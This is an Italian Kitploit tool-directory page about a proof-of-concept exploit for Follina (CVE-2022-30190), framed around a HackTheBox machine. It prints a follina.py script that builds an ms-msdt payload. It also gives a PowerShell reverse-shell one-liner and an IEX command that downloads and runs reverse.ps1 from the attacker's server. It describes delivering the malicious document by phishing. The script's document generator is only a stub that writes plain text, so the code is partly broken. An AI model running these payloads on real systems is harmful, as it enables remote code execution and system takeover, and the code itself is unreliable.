Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/kaleth4/cve-2022-30190
Generazione di PayloadExploitSfruttamento di Applicazioni WebPhishingPenetration TestingCommand and Control
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

Automated PoC exploit per CVE-2022-30190 (Follina) che genera file RTF/DOCX dannosi abusando del protocollo MSDT per eseguire comandi arbitrari e distribuire reverse shell tramite PowerShell.

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sfruttamento di Follina (CVE-2022-30190)

Follina (CVE-2022-30190) è una vulnerabilità critica di esecuzione remota di comandi (RCE) che colpisce lo Strumento di diagnostica del supporto Microsoft (MSDT). Questo bug è stato scoperto originariamente tramite un file dannoso rilevato su VirusTotal ed è stato battezzato dal ricercatore Kevin Beaumont.

Nel contesto della macchina Outdated di HackTheBox, questa vulnerabilità viene utilizzata come vettore di ingresso principale per ottenere accesso al sistema.

Riepilogo della Vulnerabilità

Lo sfruttamento si basa sull'abuso dello schema di protocollo ms-msdt, permettendo a un attaccante di eseguire codice arbitrario caricando risorse esterne. L'attacco può essere attivato semplicemente aprendo o visualizzando in anteprima un documento Office (DOCX) o un file di testo formattato (RTF) appositamente progettato.

Metodologia di Sfruttamento

1. Preparazione dell'Exploit

Per automatizzare l'attacco, si consiglia di utilizzare script di prova di concetto (PoC) disponibili su piattaforme come GitHub. Lo script follina.py permette di configurare il payload in modo semplice.

Repository suggerito: Vengono menzionate versioni funzionali di ricercatori come John Hammond o Edge-Security.

Comando di generazione:

root@kitploit:~
python3 follina.py -m command -t rtf -c "comando_da_eseguire"

Dove:

  • -m indica la modalità di esecuzione (command o binary)
  • -t il tipo di file (rtf o docx)
  • -c il comando da iniettare

2. Iniezione del Payload

Un metodo efficace per ottenere una console interattiva su Windows è iniettare un'istruzione PowerShell che scarichi e invochi una reverse shell della suite Nishang (Invoke-PowerShellTcp.ps1).

Lo script di sfruttamento genera una risorsa HTML dannosa che contiene l'istruzione in Base64 e la ospita automaticamente su un server web locale (porta 80). Il documento dannoso (click_me.rtf) punterà a questo URL per attivare il processo di diagnostica di Windows ed eseguire il codice.

3. Esecuzione dell'Attacco

In scenari realistici o di audit, l'attaccante può inviare il collegamento alla risorsa HTML o il documento dannoso a una vittima tramite tecniche di phishing o SMTP (usando strumenti come swaks).

Al momento dell'interazione dell'utente (o di un'attività automatizzata che elabora il file), MSDT interpreta il payload e stabilisce una connessione di ritorno alla macchina dell'attaccante.

Ottenimento dell'Accesso

Per ricevere la connessione, l'attaccante deve essere in ascolto (ad esempio con netcat o rlwrap) sulla porta configurata nella reverse shell. Dopo lo sfruttamento riuscito, si ottiene una console interattiva con i privilegi dell'utente che ha eseguito l'azione, permettendo di procedere con l'enumerazione locale e l'escalation dei privilegi.


Implementazione dello Script follina.py

Questo script automatizza la creazione del file dannoso (RTF o DOCX), genera la risorsa HTML che sfrutta lo schema di protocollo ms-msdt e avvia un server locale per servire il payload.

Codice: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Struttura basata sulla ricerca di Kevin Beaumont e le PoC menzionate [2, 6]
def generate_payload(command):
    # Il comando deve essere codificato in Base64 per essere elaborato da MSDT [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Payload che abusa del protocollo ms-msdt [5]
    # Viene utilizzata una lunga stringa di caratteri per riempire il buffer e attivare l'esecuzione
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Riempimento aggiuntivo per assicurare l'elaborazione
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Genera un file RTF che punta alla risorsa HTML esterna [3, 4]
    print(f"[*] Generazione file dannoso: {filename}")
    # Nota: In un'implementazione reale, qui viene iniettato l'oggetto OLE che punta a server_url
    with open(filename, "w") as f:
        f.write(f"File RTF configurato per connettersi a {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] Server HTTP attivo sulla porta {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modalità di esecuzione [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo di file da generare [3]")
    parser.add_argument("-c", "--command", required=True, help="Comando da eseguire sul sistema vittima [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Porta del server locale [7]")
    
    args = parser.parse_args()

    # 1. Creare il payload HTML
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Creare il documento dannoso
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://tu_ip_attaccante")

    # 3. Avviare il server per ricevere la richiesta [4, 7]
    run_server(args.port)

Note sulla Metodologia d'Uso

Parametri Critici: Come descritto nelle fonti, lo script utilizza -m per la modalità, -t per il tipo di file e -c per il comando.

Iniezione PowerShell: Un uso comune visto nel training di s4vitar è iniettare un'istruzione PowerShell che scarichi e invochi una reverse shell di Nishang (Invoke-PowerShellTcp.ps1) per ottenere accesso interattivo.

Esecuzione: L'attacco viene attivato quando la vittima apre o semplicemente visualizza il file dannoso (RTF/DOCX), causando il tentativo del sistema di caricare la risorsa HTML e di eseguire il comando tramite lo strumento di diagnostica Microsoft (MSDT).

Ascolto: Devi essere in ascolto (es. con netcat) sulla porta specificata nella tua reverse shell per ricevere la connessione una volta che l'exploit viene attivato sulla macchina vittima.


Script Invoke-PowerShellTcp.ps1 (Nishang)

Lo script Invoke-PowerShellTcp.ps1 è uno degli strumenti più utilizzati della suite Nishang per ottenere reverse shell su sistemi Windows.

1. Ottenimento e Preparazione

Lo script originale viene scaricato dal repository ufficiale di Nishang su GitHub. I passi tipici per il suo utilizzo sono:

  • Download: Si usa wget per portare la risorsa sul computer dell'attaccante.
  • Ridenominazione: È comune rinominarlo con un nome più corto, come reverse.ps1 o ps.ps1, per facilitarne l'invocazione dalla macchina vittima.
  • Automazione dell'esecuzione: Per far sì che lo script venga eseguito automaticamente al caricamento in memoria, si aggiunge la chiamata alla funzione principale alla fine del file.

2. Struttura della chiamata alla fine dello script

Per trasformare lo script in un payload autoeseguibile, si aggiunge una riga come la seguente alla fine del file .ps1:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <TU_IP_ATTACCANTE> -Port <TU_PORTA>

Dove <TU_IP_ATTACCANTE> e <TU_PORTA> devono essere sostituiti con i tuoi dati di ascolto (ad esempio, 10.10.14.29 e 443).

3. Versione "One-Liner" (Riga singola)

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORTA>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(Nota: Questo codice segue la logica della "gitbash" e dei terminali interattivi menzionati nella risoluzione di macchine come Compiled).

4. Metodo di Invocazione Remota (IEX)

Una volta che l'attaccante ha lo script ospitato su un server HTTP locale (porta 80), si utilizza il comando IEX (Invoke-Expression) sulla macchina vittima per caricarlo ed eseguirlo direttamente in memoria senza toccare il disco:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<TU_IP>/reverse.ps1')"

Questo metodo è fondamentale nello sfruttamento di vulnerabilità come Follina o nell'ottenimento dell'accesso iniziale dopo aver compromesso servizi web. Una volta eseguito, l'attaccante riceve la connessione in una sessione di netcat in ascolto.

root@kitploit:~
Pwned!!!
Scarica lo strumento